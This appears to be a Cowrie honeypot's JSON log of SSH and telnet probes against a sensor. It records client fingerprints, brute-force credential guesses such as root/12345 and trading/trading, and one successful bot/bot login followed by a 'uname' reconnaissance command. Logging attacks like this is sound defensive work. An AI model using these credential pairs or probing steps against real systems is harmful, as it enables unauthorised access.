{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:34:b8:af:52:b8:eb:a9:b4:bb:de:a7:1d:4c:b9:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAAqKZ6sQB5qdY78FT5VIaDQo3UBN75IBsMA4YCDOUOiG1fA+vjdJm2+8kgarlVAmaAsZzK/V23FohQcDuFa3RsTRfgkHq0IigNUr1d3J2nvcx9O+DmvkAAUJGYkCG1RFwRGN61aog9j0TV051NckVNzrlGpO1rfLhzhN3i4YSZltOICYkKfwRPoSVingjybkWFazViSzBj6VUHQciQ6TkL4YKdSSZbJwWei3JdIFnf77Gnm+jr/pz4bOQNxnjFAvGgZl4Ba1ojHJC7gF+/o6TdlrTlft/HsYRSLl5T7x0qTWCaHGOGYoKiJS/6CUJR3GAEb8Af9FRMpaib0n4eYh70FgRIng4E6ZVxtwRqRG598OY5+xVqRuWnYmobCL+GEvrENg4wD3DSAinuMldx8kGG4yc2Gz5I23XjYvZgEZsOX++NQOGhVWrdmP/bpc+1rqJKzTSPoqFWs90BkITXqyQt9rk5V1rf2SbHT57lzCQ2oYC2dBc/Raq1bDm5TbBH1UFX1DpHzfB4ZBNQVXJiUKSew0VmvVHmyuQ403Xm0wVUtaeG9FMBpwDKoHq/fNSgS66+Qq1PKZNTlboFHv1gaYWUCZZ1WhVZC5CUvBog2DhtxGMSMtLedeLSgAZDb6RYVdCvP20uc3OL2ChPxWErfiPrSNa4NNNfrPhAcRpBdtR6w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:18.353175Z","src_ip":"192.95.10.204","session":"50456a6a1fca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:0d:32:a5:01:40:b2:82:a3:08:ca:e3:cc:8d:7c:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQmOQg+cR46Xk0lbYn4GZChAvqVKrTE8UZoCDU20WN2yUDEOF+5nS+UoXOfuY9q12ic2OusysYPe5VnlFuYRbtcD3fXz1BZjVdP9npHXkazQL9UIua7Z+mHnT1TTEC1UJuvnz6kS3nB4V5uSiiOwqFC5ECyMmLMDZYvWuWKPZkFz7wu+0ec69jbLWKamharanfNKfp7Iyv9MjBqGOF4F8j7vg/BOHcmnVuB5oQsv7ZNBF/y6SP3amnABB4DplEud+2FtAl/Oji2l85kfR58jDpapmbJlWyfJnvCWirzKAXbgeNpuRBkNCVsvSa4NUhWpPmqbafqUmyWG+JzspZRPDVROd2JL44bLT3mBtDXpkb9lijA1h/GpwtzoCa60VzntZsnaQLlG4s2gG8kTDjn9FfbOg0h+SspqtwoZFBrxyulzdGOoR6oO97TNnNsXSIBqXX8f0szo1NmwIVCsUpcoEuf1IXYX2QerWNat8qhQ1/QZfOHpdkeNc+I7AMX7IqspxMChSh3dBDLWxFtPDi1m8t3FB3ZfrMKqIxB+PKl96XAWh4zLJ3fS9o5RZtt0Nz5NMx2+U7Xt0VY1fa4bGfAXWq2dCVkOv4jcWVe5vG3VLs5AnJ3e8peveNfsFNFk8x/b2hJZwQVZLexwC9bte5YlS+IDvqXADrV+IwH0y3HGKi2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:0d:32:a5:01:40:b2:82:a3:08:ca:e3:cc:8d:7c:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:18.376493Z","src_ip":"192.95.10.204","session":"50456a6a1fca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:0d:32:a5:01:40:b2:82:a3:08:ca:e3:cc:8d:7c:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQmOQg+cR46Xk0lbYn4GZChAvqVKrTE8UZoCDU20WN2yUDEOF+5nS+UoXOfuY9q12ic2OusysYPe5VnlFuYRbtcD3fXz1BZjVdP9npHXkazQL9UIua7Z+mHnT1TTEC1UJuvnz6kS3nB4V5uSiiOwqFC5ECyMmLMDZYvWuWKPZkFz7wu+0ec69jbLWKamharanfNKfp7Iyv9MjBqGOF4F8j7vg/BOHcmnVuB5oQsv7ZNBF/y6SP3amnABB4DplEud+2FtAl/Oji2l85kfR58jDpapmbJlWyfJnvCWirzKAXbgeNpuRBkNCVsvSa4NUhWpPmqbafqUmyWG+JzspZRPDVROd2JL44bLT3mBtDXpkb9lijA1h/GpwtzoCa60VzntZsnaQLlG4s2gG8kTDjn9FfbOg0h+SspqtwoZFBrxyulzdGOoR6oO97TNnNsXSIBqXX8f0szo1NmwIVCsUpcoEuf1IXYX2QerWNat8qhQ1/QZfOHpdkeNc+I7AMX7IqspxMChSh3dBDLWxFtPDi1m8t3FB3ZfrMKqIxB+PKl96XAWh4zLJ3fS9o5RZtt0Nz5NMx2+U7Xt0VY1fa4bGfAXWq2dCVkOv4jcWVe5vG3VLs5AnJ3e8peveNfsFNFk8x/b2hJZwQVZLexwC9bte5YlS+IDvqXADrV+IwH0y3HGKi2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:18.379996Z","src_ip":"192.95.10.204","session":"50456a6a1fca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:22:02:4c:70:86:7f:80:af:33:26:b9:64:87:b2:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcmfYZPQ+/LzIaEXGPaTcb+QHs4wIql5HqUwqui1JAtIsLbyRgddPYOzxw+Z66AF8DLJByuHN1TXIoVJTbfuu9bayA5eEtMEpDFzSlcb9urVJyF5vvpo/9MLoOC1xBLF/l7TVz1f8ob49yJ9uQjTzqBdPxvZXvIxfa6fL5GFoA4uBzRIIqK9sfEKMAfdJTOa+40/dSlDF2DC+4XQb0/vRYtrvr5Lks+nxg/2SIs3jbwi+8OFV498IFidKgRYFH/fdY2q29mWdgouALi1g8MFG5kfkbtl+zaNgbqOBIJJezdmIZG7Lnkzr+688xLVDowkRByGTv0uhFgp0WFPbwouZmVrKRdIou8qKHGMoEBPDaVrmdwtKWIXpwZxwGeXW3x14VdmeDxkI8VDdtUOM+GirZDl4pjZEjfz+77tkm42xUDbdirJO4dLhW4+ZDel40nb8Mr5pjL2ZFJWDmAeDRJyRlQ7njpIgbpFDMK7OVemDE1E00K6NTAAPPUEOpXIYnQlxe7Tm/mKwb1BG2P6SxynPwfFoG06qqNFAHYCHslcruXYKBZ9gttlASJ9WYjCF09WqzkikbhN6oAoF4p1XJaXMdxOacApaa5Dayzj+bLmNPEEitfrL6Hy8hQXPo1sWbFHAMTKwX6TnuOgWMUGzAC0SOIpdMs7JDB3t8W5XUIdObnw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:22:02:4c:70:86:7f:80:af:33:26:b9:64:87:b2:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:18.401459Z","src_ip":"192.95.10.204","session":"50456a6a1fca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:22:02:4c:70:86:7f:80:af:33:26:b9:64:87:b2:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcmfYZPQ+/LzIaEXGPaTcb+QHs4wIql5HqUwqui1JAtIsLbyRgddPYOzxw+Z66AF8DLJByuHN1TXIoVJTbfuu9bayA5eEtMEpDFzSlcb9urVJyF5vvpo/9MLoOC1xBLF/l7TVz1f8ob49yJ9uQjTzqBdPxvZXvIxfa6fL5GFoA4uBzRIIqK9sfEKMAfdJTOa+40/dSlDF2DC+4XQb0/vRYtrvr5Lks+nxg/2SIs3jbwi+8OFV498IFidKgRYFH/fdY2q29mWdgouALi1g8MFG5kfkbtl+zaNgbqOBIJJezdmIZG7Lnkzr+688xLVDowkRByGTv0uhFgp0WFPbwouZmVrKRdIou8qKHGMoEBPDaVrmdwtKWIXpwZxwGeXW3x14VdmeDxkI8VDdtUOM+GirZDl4pjZEjfz+77tkm42xUDbdirJO4dLhW4+ZDel40nb8Mr5pjL2ZFJWDmAeDRJyRlQ7njpIgbpFDMK7OVemDE1E00K6NTAAPPUEOpXIYnQlxe7Tm/mKwb1BG2P6SxynPwfFoG06qqNFAHYCHslcruXYKBZ9gttlASJ9WYjCF09WqzkikbhN6oAoF4p1XJaXMdxOacApaa5Dayzj+bLmNPEEitfrL6Hy8hQXPo1sWbFHAMTKwX6TnuOgWMUGzAC0SOIpdMs7JDB3t8W5XUIdObnw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:18.406223Z","src_ip":"192.95.10.204","session":"50456a6a1fca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:18.431412Z","src_ip":"192.95.10.204","session":"50456a6a1fca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":51580,"dst_ip":"159.203.135.109","dst_port":22,"session":"d48138586efc","protocol":"ssh","message":"New connection: 2.57.122.208:51580 (159.203.135.109:22) [session: d48138586efc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:41.738519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:41.827834Z","src_ip":"2.57.122.208","session":"d48138586efc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:41.921213Z","src_ip":"2.57.122.208","session":"d48138586efc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:42.475661Z","src_ip":"2.57.122.208","session":"d48138586efc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:42.795803Z","src_ip":"2.57.122.208","session":"d48138586efc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:42.799098Z","src_ip":"2.57.122.208","session":"d48138586efc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:42.924119Z","src_ip":"2.57.122.208","session":"d48138586efc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:08:42.929233Z","src_ip":"2.57.122.208","session":"d48138586efc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.11","src_port":30266,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d3ce4787649","protocol":"ssh","message":"New connection: 31.57.216.11:30266 (159.203.135.109:22) [session: 6d3ce4787649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:11:17.325236Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:11:17.330341Z","src_ip":"31.57.216.11","session":"6d3ce4787649","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.11","src_port":30268,"dst_ip":"159.203.135.109","dst_port":22,"session":"3001029bbff3","protocol":"ssh","message":"New connection: 31.57.216.11:30268 (159.203.135.109:22) [session: 3001029bbff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:11:17.449029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:11:17.455250Z","src_ip":"31.57.216.11","session":"3001029bbff3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:11:17.559580Z","src_ip":"31.57.216.11","session":"3001029bbff3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:11:17.908815Z","src_ip":"31.57.216.11","session":"3001029bbff3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:11:19.028828Z","src_ip":"31.57.216.11","session":"3001029bbff3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":60638,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cde45f0bc63","protocol":"ssh","message":"New connection: 80.94.92.184:60638 (10.17.0.5:22) [session: 5cde45f0bc63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:11:21.760721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:11:21.826766Z","src_ip":"80.94.92.184","session":"5cde45f0bc63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:11:21.942909Z","src_ip":"80.94.92.184","session":"5cde45f0bc63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12","message":"login attempt [solv/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:11:22.873923Z","src_ip":"80.94.92.184","session":"5cde45f0bc63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:11:25.093959Z","src_ip":"80.94.92.184","session":"5cde45f0bc63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53096,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6751e3b28c4","protocol":"ssh","message":"New connection: 2.57.122.208:53096 (159.203.135.109:22) [session: d6751e3b28c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:11:25.636128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:11:25.730283Z","src_ip":"2.57.122.208","session":"d6751e3b28c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:11:25.923851Z","src_ip":"2.57.122.208","session":"d6751e3b28c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:11:26.626283Z","src_ip":"2.57.122.208","session":"d6751e3b28c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:11:27.822578Z","src_ip":"2.57.122.208","session":"d6751e3b28c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.133.192.247","src_port":40123,"dst_ip":"159.203.135.109","dst_port":23,"session":"fda3ac6b04a3","protocol":"telnet","message":"New connection: 112.133.192.247:40123 (159.203.135.109:23) [session: fda3ac6b04a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:13:00.008057Z"}
{"eventid":"cowrie.session.closed","duration":13.554110765457153,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:13:13.562037Z","src_ip":"112.133.192.247","session":"fda3ac6b04a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":40516,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcaca579137f","protocol":"ssh","message":"New connection: 194.59.206.2:40516 (10.17.0.5:22) [session: dcaca579137f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:13:22.741300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:13:22.745857Z","src_ip":"194.59.206.2","session":"dcaca579137f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:13:22.831431Z","src_ip":"194.59.206.2","session":"dcaca579137f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:13:22.920709Z","src_ip":"194.59.206.2","session":"dcaca579137f","protocol":"ssh"}
